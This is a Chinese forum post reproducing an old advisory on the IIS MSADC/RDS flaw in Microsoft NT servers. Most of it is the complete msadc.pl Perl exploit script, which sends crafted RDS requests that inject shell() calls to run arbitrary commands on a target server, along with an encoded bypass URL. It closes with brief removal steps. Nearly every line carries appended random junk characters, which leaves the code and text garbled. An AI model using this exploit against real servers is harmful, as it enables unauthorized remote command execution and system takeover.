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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Ie``W b=  
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涉及程序: tw^V?4[Miu  
Microsoft NT server 6jom6/F 4  
BC&Et62*  
描述: ^1}}-9q  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 _M{m6k(h  
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详细: -0lpsF  
如果你没有时间读详细内容的话,就删除: IgZX,4i=o  
c:\Program Files\Common Files\System\Msadc\msadcs.dll y=-d*E  
有关的安全问题就没有了。 rY88xh^  
L[ rJ7:  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 8&H1w9NrX_  
%J3#4gG^v  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Xo }w$q5  
关于利用ODBC远程漏洞的描述,请参看: 90M:0SH  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm bMf +/n  
R~)c(jj5  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看  k:R9wo  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp m&b!\"0  
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这里不再论述。 d7P| x  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: o KX!{  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset K@%.T#  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 6<FJ`l]U9  
Ci=c"JdB  
dEns|r  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ^25$=0  
;\( wJ{u?Y  
#!perl i7:j(W^I8  
# ]'M Ly#9  
# MSADC/RDS 'usage' (aka exploit) script 'N0d==aI  
# *m2J$9q  
# by rain.forest.puppy O zY&^:>  
# %F1 Ce/  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me TE^BfAw@  
# beta test and find errors! ^BSMlKyB  
n+j'FfSz  
use Socket; use Getopt::Std; DYbkw4Z,  
getopts("e:vd:h:XR", \%args); &nTB^MF  
/3'>MRzR  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ~{oM&I|d8  
jja9:$#  
if (!defined $args{h} && !defined $args{R}) { XEY((VL0  
print qq~ !SKEL6~7  
Usage: msadc.pl -h <host> { -d <delay> -X -v } B?$pIG^Mn  
-h <host> = host you want to scan (ip or domain) T'0Ot3m`  
-d <seconds> = delay between calls, default 1 second K%$%9y  
-X = dump Index Server path table, if available f \[Z`D  
-v = verbose YjoN: z`b  
-e = external dictionary file for step 5 )$i7b  
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Or a -R will resume a command session pX*Oc6.0mu  
kce+aiv|u  
~; exit;} Dm"GCV  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 7YkxIzE  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} n<y!@p^X  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} I( G8cK  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); \{P(s:  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} X#Ajt/XQ  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 7Oru{BQ">  
SP 97Q-  
if (!defined $args{R}){ $ret = &has_msadc; j^ex5A.& &  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} /@Y/(+DE  
O.  V!L  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" O5LB&s   
. "cmd /c "; ie=tM'fb  
$in=<STDIN>; chomp $in; b_z;^y~  
$command="cmd /c " . $in ; y`!3Z} 7  
f'TdYG  
if (defined $args{R}) {&load; exit;} =uIu0_v  
9^c\$"2B  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 39BGwKXb  
&try_btcustmr; khyn4   
t%/Y^N;  
print "\nStep 2: Trying to make our own DSN..."; G<Z|NT  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; GNT1FR  
/F5g@ X&  
print "\nStep 3: Trying known DSNs..."; /`Yp]l  
&known_dsn; S6 `4&0'  
Kisd.~u8j  
print "\nStep 4: Trying known .mdbs..."; I.euuzBgA  
&known_mdb; + i!/J  
d/j$_NQ&!  
if (defined $args{e}){ qR--lvO  
print "\nStep 5: Trying dictionary of DSN names..."; 7fgA)dU:K  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } wMT?p/9Blm  
OGzth$7A  
print "Sorry Charley...maybe next time?\n"; A|O7W|"W  
exit; x{6/di  
}2|>Y[v2j  
############################################################################## rH8w||S2U  
hmHm;l  
sub sendraw { # ripped and modded from whisker !dv  
sleep($delay); # it's a DoS on the server! At least on mine... CY <,p$  
my ($pstr)=@_; o>';-} E  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 2$jTj<.K  
die("Socket problems\n"); !gWV4vC  
if(connect(S,pack "SnA4x8",2,80,$target)){ a#nVRPU8m  
select(S); $|=1; A_muuOIcI  
print $pstr; my @in=<S>; YJ'h=!p}G  
select(STDOUT); close(S); Sdy\s5  
return @in; +3(1QgYM%  
} else { die("Can't connect...\n"); }} KE]!7+8-  
{*r*+}@  
############################################################################## Wt"fn&R}  
x24  
sub make_header { # make the HTTP request &s>HiL>f  
my $msadc=<<EOT k^}8=,j}  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 #Wey)DI  
User-Agent: ACTIVEDATA IX7<  
Host: $ip *Sm$FMWQ  
Content-Length: $clen ek1YaE  
Connection: Keep-Alive ]s ?BwLU6  
)c b e 4  
ADCClientVersion:01.06 cor?#  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 :[3{-.c  
bJj <xjBM  
--!ADM!ROX!YOUR!WORLD! %=xR$<D  
Content-Type: application/x-varg ,^3eMn  
Content-Length: $reqlen RMMx6L|-:  
{w$1_GU  
EOT ?"]fGp6y  
; $msadc=~s/\n/\r\n/g; 1a;Le8  
return $msadc;} >wS52ng  
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############################################################################## (D]l/akP  
HaXlc8  
sub make_req { # make the RDS request US A!N  
my ($switch, $p1, $p2)=@_; aL$m  
my $req=""; my $t1, $t2, $query, $dsn; ;Oh4W<hH}  
5M4mFC6  
if ($switch==1){ # this is the btcustmr.mdb query lG;RfDI-  
$query="Select * from Customers where City=" . make_shell(); *G7$wW:?  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . D *RF._  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} qcEiJ}-  
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elsif ($switch==2){ # this is general make table query 8`XT`H  
$query="create table AZZ (B int, C varchar(10))"; 55 )!cw4  
$dsn="$p1";} <*E{z r&  
a1R2ocC  
elsif ($switch==3){ # this is general exploit table query AmNmhcN  
$query="select * from AZZ where C=" . make_shell(); [8l;X:  
$dsn="$p1";} n|dLK.Q  
^B8%Re%  
elsif ($switch==4){ # attempt to hork file info from index server r+-KrO'  
$query="select path from scope()"; ?}\aG3_4  
$dsn="Provider=MSIDXS;";} i% 19|an  
xwhH_[  
elsif ($switch==5){ # bad query -&I%=0q  
$query="select"; n0q5|ES  
$dsn="$p1";} {|= 8wB  
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$t1= make_unicode($query); ; >Tko<  
$t2= make_unicode($dsn); gO_{(\w*  
$req = "\x02\x00\x03\x00"; KoZ" yD  
$req.= "\x08\x00" . pack ("S1", length($t1)); h<U<K O  
$req.= "\x00\x00" . $t1 ; S'#KPzy.  
$req.= "\x08\x00" . pack ("S1", length($t2)); Aq@_^mq1A  
$req.= "\x00\x00" . $t2 ; q[`)A?Ae  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 7Gd)=Q{uur  
return $req;} AD^9?Z  
rK )aR  
############################################################################## 2j&-3W$^  
e@"1W  
sub make_shell { # this makes the shell() statement 6Ko[[?Lf[  
return "'|shell(\"$command\")|'";} E5qh]z (  
":EfR`A#  
############################################################################## aRPgo0,W1  
yb*P&si5bY  
sub make_unicode { # quick little function to convert to unicode ?3~]H   
my ($in)=@_; my $out; S7&w r@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } P -0  
return $out;} DP**pf%j  
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############################################################################## fx(^}e  
=$;i  
sub rdo_success { # checks for RDO return success (this is kludge) 6<jh0=$  
my (@in) = @_; my $base=content_start(@in); 4^vEMq8lB  
if($in[$base]=~/multipart\/mixed/){ ;M}'\.  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} d%VG@./xq  
return 0;} T8+A`z=tSb  
H'|b$rP0@  
############################################################################## %SuEfCM  
Tn2nd  
sub make_dsn { # this makes a DSN for us fr kDf-P  
my @drives=("c","d","e","f"); }w .[ZeP  
print "\nMaking DSN: "; Y^$^B,  
foreach $drive (@drives) { L1ZhH3}X  
print "$drive: "; Qfx(+=|  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . t:NTk(  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" '0)a|1,  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); m`C c U`s  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 4UD<g+|  
return 0 if $2 eq "404"; # not found/doesn't exist YSERQo  
if($2 eq "200") { # 12  
foreach $line (@results) { nTxeV%  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}  *X- 6]C  
} return 0;} 0Ou;MU*v  
H1X38  
############################################################################## K0$8t%Z.  
; mnV)8:F  
sub verify_exists { ^Uss?)jN4  
my ($page)=@_; 17g\XC@ Cl  
my @results=sendraw("GET $page HTTP/1.0\n\n"); S^0Po%d  
return $results[0];} aC:Sy^Tf  
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############################################################################## Z]f_? @0  
))f%3_H  
sub try_btcustmr { % B+W#Q`  
my @drives=("c","d","e","f"); Si#I^aF`%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); KPO?eeT.WZ  
ZYDLl8  
foreach $dir (@dirs) { a_Y*pOu  
print "$dir -> "; # fun status so you can see progress dU%Q=r8R  
foreach $drive (@drives) { ?oF+?l  
print "$drive: "; # ditto EfHo1Yn&  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; SXkUtY$  
$reqlenlen=length( "$reqlen" ); 1vKc>+9  
$clen= 206 + $reqlenlen + $reqlen; (n:d {bKV  
_Kdqa%L !  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); :L gFd  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 1xN6V-qk  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} z%-Yz- G9  
N>qOiw[  
############################################################################## 8q9HQ4dsL  
feM%-  
sub odbc_error { }= OI (Wy  
my (@in)=@_; my $base; c"`o V! m  
my $base = content_start(@in); x<^+nTzN  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Y+5nn  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8|k r|l  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; kDJ $kv  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; wGdnv}#  
return $in[$base+4].$in[$base+5].$in[$base+6];} {(;dHF%{  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; mLApF5Hy  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . LVNq@,s  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} j\l9|vpp  
IB9[Lx  
############################################################################## ~\_aT2j0  
cojtQ D6  
sub verbose { (T;4'c  
my ($in)=@_; ?/ xk  
return if !$verbose; +>3XJlZV  
print STDOUT "\n$in\n";} |iN!V3#S  
hTgWqp  
############################################################################## PwP;+R};|  
:pj 00  
sub save { I&JVY8'  
my ($p1, $p2, $p3, $p4)=@_; >iD&n4TK  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; egQB!%D  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; W4n;U-Hb  
close OUT;} {A2EGUmF2  
Bk,:a,  
############################################################################## Co[fq3iX#  
"f^s*I  
sub load { -*xm<R],  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; g}>Sc=e <  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); { No*Z'X  
@p=<IN>; close(IN); x'IVP[xh`A  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 8m% +O#  
$target= inet_aton($ip) || die("inet_aton problems"); )I7~ <$w  
print "Resuming to $ip ..."; n0|oV(0FE  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; \Tf[% Kt x  
if($p[1]==1) { ~)>O=nR  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; #oBMA  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; DUBEh@  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ZH'- >/  
if (rdo_success(@results)){print "Success!\n";} ?,G CR1|4  
else { print "failed\n"; verbose(odbc_error(@results));}} HJ4T! `'d  
elsif ($p[1]==3){ c@H_f  
if(run_query("$p[3]")){ U caLi&  
print "Success!\n";} else { print "failed\n"; }} /.PjHTM<  
elsif ($p[1]==4){ Gk~QgD/Pix  
if(run_query($drvst . "$p[3]")){ p4l^b[p  
print "Success!\n"; } else { print "failed\n"; }} YrlOvXW  
exit;} "^sh:{  
 zxN,ys  
############################################################################## cuv?[ M  
kU uDA><1  
sub create_table { +/!kL0[v  
my ($in)=@_; +; /]'  
$reqlen=length( make_req(2,$in,"") ) - 28; \:>GF-Z(  
$reqlenlen=length( "$reqlen" ); `qP <S  
$clen= 206 + $reqlenlen + $reqlen; FR%9Qb7  
my @results=sendraw(make_header() . make_req(2,$in,"")); zadn`B#2  
return 1 if rdo_success(@results); Md!L@gX6<  
my $temp= odbc_error(@results); verbose($temp); b| e7mis@  
return 1 if $temp=~/Table 'AZZ' already exists/; yGGQ;!/  
return 0;} K@uUe3  
{+D 6o  
############################################################################## E?$|`<o{|`  
uu08q<B5b)  
sub known_dsn { TL^af-  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go nR%ASUx:Y  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 06hzCWm#  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", zj~(CNE  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); =&Dt+f&  
"ecG\}R=  
foreach $dSn (@dsns) { -nBb - y  
print "."; ZR|)+W;  
next if (!is_access("DSN=$dSn")); q. zBm@:  
if(create_table("DSN=$dSn")){ TVaD',5_V%  
print "$dSn successful\n"; LJ^n6 m|_  
if(run_query("DSN=$dSn")){ kjCXP  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &)(>e}es  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 2|="!c8K  
:exgdm;N  
############################################################################## c?@WNv  
+rT%C&ze  
sub is_access { &yu3nA:7D  
my ($in)=@_; c eH8  
$reqlen=length( make_req(5,$in,"") ) - 28; UNx|+  
$reqlenlen=length( "$reqlen" ); .I~#o$6  
$clen= 206 + $reqlenlen + $reqlen; ZkbaUIQ  
my @results=sendraw(make_header() . make_req(5,$in,"")); Gk"o/]Sf  
my $temp= odbc_error(@results); K7G|cZ/^  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); R$[nYw  
return 0;} ~ ^)D#Lo  
].E89_|O  
############################################################################## }b$?t7Q)  
, 7` /D  
sub run_query { <n8K"(sy}  
my ($in)=@_; fW /G_  
$reqlen=length( make_req(3,$in,"") ) - 28; 977%9z<h  
$reqlenlen=length( "$reqlen" ); RQaB _bg7  
$clen= 206 + $reqlenlen + $reqlen; "nkj_pC  
my @results=sendraw(make_header() . make_req(3,$in,"")); {2|[7oNT6  
return 1 if rdo_success(@results); HIK" Ce  
my $temp= odbc_error(@results); verbose($temp); H C %tJ:G  
return 0;} "c0I2wq  
s^atBqw,  
############################################################################## [w0@7p"7  
-4rXOmiA  
sub known_mdb { = [N= mC  
my @drives=("c","d","e","f","g"); 2 kP0//  
my @dirs=("winnt","winnt35","winnt351","win","windows"); }OQaQf9V{  
my $dir, $drive, $mdb; hxCSE$f4  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; x,U '!F  
kAu-=X  
# this is sparse, because I don't know of many s} I8:ufT  
my @sysmdbs=( "\\catroot\\icatalog.mdb", *En29N#a{  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", LB(I^  
"\\system32\\certmdb.mdb", 6MewQ{hi  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% fGeDygV^`  
UN FQ`L  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", _T96.~Q  
"\\cfusion\\cfapps\\forums\\forums_.mdb", L|?$F*bs  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", cO8':P5Q  
"\\cfusion\\cfapps\\security\\realm_.mdb", & bKl(,  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", nrhzNW>]  
"\\cfusion\\database\\cfexamples.mdb", ?S*Cvr+=4  
"\\cfusion\\database\\cfsnippets.mdb", 1g{-DIOmn  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",  wZ(H[be  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ax.;IU  
"\\cfusion\\brighttiger\\database\\cleam.mdb", {^5LolCCH  
"\\cfusion\\database\\smpolicy.mdb", #Nv^F  
"\\cfusion\\database\cypress.mdb", J]!&E~Y  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", pmWt7 }  
"\\website\\cgi-win\\dbsample.mdb", 65HP9`5Tm  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ;u(#-C2^{l  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" q&DM*!Jq  
); #these are just `{Jo>L .  
foreach $drive (@drives) { & t.G4  
foreach $dir (@dirs){ vcmB)P-T`O  
foreach $mdb (@sysmdbs) { Nf]h8d~  
print "."; FI(iqSJ6  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ @TQzF-%#7  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; D<QE?:#  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ (^G @-eh  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Z!& u_  
} else { print "Something's borked. Use verbose next time\n"; }}}}} @^2?97i c  
l%_r3W  
foreach $drive (@drives) { b2tUJ2p  
foreach $mdb (@mdbs) { ^pysoaZCT_  
print "."; @ Y&UP  
if(create_table($drv . $drive . $dir . $mdb)){ Y'{F^VxA/  
print "\n" . $drive . $dir . $mdb . " successful\n"; V0/PjD,jP  
if(run_query($drv . $drive . $dir . $mdb)){ sQXj?5!  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ${F4x"x  
} else { print "Something's borked. Use verbose next time\n"; }}}} 8Y,imj\(v  
} 4Zn"K}q  
n/6qc3\5i  
############################################################################## (M-W ea!q  
Xl %ax!/  
sub hork_idx { [["az'Lrk?  
print "\nAttempting to dump Index Server tables...\n"; ]zATdfa  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Pm/Rc  
$reqlen=length( make_req(4,"","") ) - 28; +B&,$ceyaJ  
$reqlenlen=length( "$reqlen" ); VR XK/dZ  
$clen= 206 + $reqlenlen + $reqlen; ccY! OSae  
my @results=sendraw2(make_header() . make_req(4,"","")); t) l  
if (rdo_success(@results)){ XCd[<\l  
my $max=@results; my $c; my %d; tJvs ?eZ)  
for($c=19; $c<$max; $c++){ n)uck5  
$results[$c]=~s/\x00//g; 0a}a  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; '/'dg5bfV  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 7t3ps  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; g2%fla7r  
$d{"$1$2"}="";} skP'- ^F~  
foreach $c (keys %d){ print "$c\n"; } ku5vaP(  
} else {print "Index server doesn't seem to be installed.\n"; }} Fnc MIzp  
928uGo5  
############################################################################## {fI"p;|  
x(+H1D\W   
sub dsn_dict { ^N&@7s  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); \~> .NH-  
while(<IN>){ O8k+R@  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; t`")Re_j  
next if (!is_access("DSN=$dSn")); _$P1N^}Zs  
if(create_table("DSN=$dSn")){ n09P!],Xa  
print "$dSn successful\n"; [ 0z-X7=e  
if(run_query("DSN=$dSn")){ 0fog/c#q(  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [.'9Sw  
print "Something's borked. Use verbose next time\n";}}} /liZ|K3A  
print "\n"; close(IN);} WRp0.  
KP&$Sl  
############################################################################## uH |:gF^  
/8wfI_P>M"  
sub sendraw2 { # ripped and modded from whisker ] @uuB\u  
sleep($delay); # it's a DoS on the server! At least on mine... :E.T2na  
my ($pstr)=@_; Om(Ir&0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || X@ S~D7|ja  
die("Socket problems\n"); d*_rJE}B  
if(connect(S,pack "SnA4x8",2,80,$target)){  a"D'QqtH  
print "Connected. Getting data"; 6xLQ  
open(OUT,">raw.out"); my @in; @^.o8+Pp  
select(S); $|=1; print $pstr; oFKTBH:I  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ?&-$Zog  
close(OUT); select(STDOUT); close(S); return @in; & zv!cf  
} else { die("Can't connect...\n"); }} t=fr`|!  
^/I.? :+  
############################################################################## ~3)d?{5  
~;}uYJ  
sub content_start { # this will take in the server headers 8?1MnjhX10  
my (@in)=@_; my $c; 6^)eW+  
for ($c=1;$c<500;$c++) { /vI"v 4  
if($in[$c] =~/^\x0d\x0a/){ k8b5~A,  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 0ev='v8?  
else { return $c+1; }}} av bup  
return -1;} # it should never get here actually j&[u$P*K  
~KczP1p  
############################################################################## owx0J,,G  
M'VJE|+t  
sub funky { B'I_i$g4w  
my (@in)=@_; my $error=odbc_error(@in); W5/|.}  
if($error=~/ADO could not find the specified provider/){ z.^_;Vql_  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; KQ^|prN?y  
exit;} urg^>n4V]  
if($error=~/A Handler is required/){ aeDhC#h  
print "\nServer has custom handler filters (they most likely are patched)\n"; WmkCV+thA  
exit;} M)~sL1)  
if($error=~/specified Handler has denied Access/){ BO2s(8  
print "\nServer has custom handler filters (they most likely are patched)\n"; rX0 ?m:&m  
exit;}} p6&<eMwFA  
-2j[;kgt}  
############################################################################## AH?[K,3  
' g d=\gV  
sub has_msadc { 4X!4S6JfB  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); jOd+LXPJ  
my $base=content_start(@results); [+L!c}#  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); L)qUBp@MW  
return 0;} ZYt1V"2VJ  
hcM9Sx"!  
######################## 4I9Yr  
HL-'\wtl  
S$gLL kD1  
解决方案: -hq^';,  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll jrpki<D  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 W)'*Dcd  
e.^?hwl  
拿出来充数 哈哈
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